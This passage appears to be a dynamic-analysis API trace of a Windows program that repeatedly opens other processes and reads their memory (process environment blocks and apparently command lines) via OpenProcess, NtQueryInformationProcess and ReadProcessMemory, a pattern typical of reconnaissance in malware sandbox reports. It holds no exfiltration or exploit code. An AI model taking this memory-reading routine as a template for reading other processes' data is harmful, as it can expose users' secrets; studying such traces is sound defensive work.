ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.496] malloc (_Size=0x74) returned 0xea8d20 [0351.496] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea8d20, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0351.497] free (_Block=0xea8d20) [0351.497] CloseHandle (hObject=0xa9c) returned 1 [0351.497] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0351.497] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0351.498] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.498] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0351.498] GetLastError () returned 0x0 [0351.498] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.499] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.499] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.500] malloc (_Size=0x66) returned 0xeb6380 [0351.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0351.500] free (_Block=0xeb6380) [0351.500] CloseHandle (hObject=0xa9c) returned 1 [0351.501] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0351.501] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0351.501] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.502] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0351.503] GetLastError () returned 0x0 [0351.503] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.506] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.506] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.506] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.507] malloc (_Size=0x84) returned 0xe87b80 [0351.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe87b80, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87b80*, lpNumberOfBytesRead=0x0) returned 1 [0351.508] free (_Block=0xe87b80) [0351.508] CloseHandle (hObject=0xa9c) returned 1 [0351.532] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0351.532] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0351.532] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.532] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.533] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0351.533] GetLastError () returned 0x0 [0351.533] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.533] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.534] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.535] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.535] malloc (_Size=0x70) returned 0xea9620 [0351.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea9620, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0351.536] free (_Block=0xea9620) [0351.537] CloseHandle (hObject=0xa9c) returned 1 [0351.537] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0351.537] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0351.537] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.537] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0351.538] GetLastError () returned 0x0 [0351.538] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.538] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.539] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.539] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.539] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.540] malloc (_Size=0x6a) returned 0xea9120 [0351.540] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0351.541] free (_Block=0xea9120) [0351.541] CloseHandle (hObject=0xa9c) returned 1 [0351.541] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0351.541] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0351.541] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.541] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0351.542] GetLastError () returned 0x0 [0351.542] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.542] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.543] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.543] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.544] malloc (_Size=0x86) returned 0xe87670 [0351.544] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe87670, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0351.545] free (_Block=0xe87670) [0351.545] CloseHandle (hObject=0xa9c) returned 1 [0351.545] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0351.545] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0351.545] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.545] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.546] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0351.546] GetLastError () returned 0x0 [0351.546] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.547] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.547] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.548] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.548] malloc (_Size=0x72) returned 0xea92a0 [0351.548] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea92a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea92a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.549] free (_Block=0xea92a0) [0351.549] CloseHandle (hObject=0xa9c) returned 1 [0351.549] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0351.549] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0351.549] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.549] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0351.551] GetLastError () returned 0x0 [0351.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.554] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.554] malloc (_Size=0x90) returned 0xec70c0 [0351.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec70c0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec70c0*, lpNumberOfBytesRead=0x0) returned 1 [0351.555] free (_Block=0xec70c0) [0351.555] CloseHandle (hObject=0xa9c) returned 1 [0351.555] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0351.556] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0351.556] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.556] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.557] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0351.557] GetLastError () returned 0x0 [0351.557] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.557] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.558] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.558] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | 